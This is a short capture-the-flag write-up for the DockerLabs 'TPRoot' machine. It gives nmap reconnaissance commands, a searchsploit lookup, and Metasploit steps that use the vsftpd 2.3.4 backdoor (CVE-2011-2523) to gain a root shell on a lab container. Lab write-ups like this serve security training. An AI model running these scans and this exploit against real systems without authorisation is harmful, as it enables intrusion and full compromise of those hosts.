> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/very-easy/tproot.md).

# TPRoot

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: ports 21 and 80 are open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 21,80 -sS -Pn -sCV`

**Result:**

<figure><img src="/files/BIinD3HkvXLaar68hLQO" alt=""><figcaption><p>(TPRoot) Targeted Port Scan</p></figcaption></figure>

We searched for exploits or shellcodes using `searchsploit vsftpd 2.3.4` and we found a RCE exploit via Metasploit.

## 3 - Exploitation

Running:

```bash
msfconsole -q
search vsftpd 2.3.4
use 0
```

will setup the exploit, but we need to tweak the parameters. With `show options` we see the required parameters, and we have to input the target host. With `set RHOSTS 172.17.0.2` we have it ready to `run`

<figure><img src="/files/vqITUkLyyYYpL20V95UK" alt=""><figcaption><p>(TPRoot) Root Shell</p></figcaption></figure>

## 4 - Summary

**Initial Access:**\
Nmap revealed FTP (vsftpd 2.3.4) and HTTP.

**Exploitation:**\
Used the Metasploit module for the vsftpd 2.3.4 backdoor (CVE-2011-2523) to gain direct remote code execution.

**Privilege Escalation:**\
The exploit provided an immediate root shell.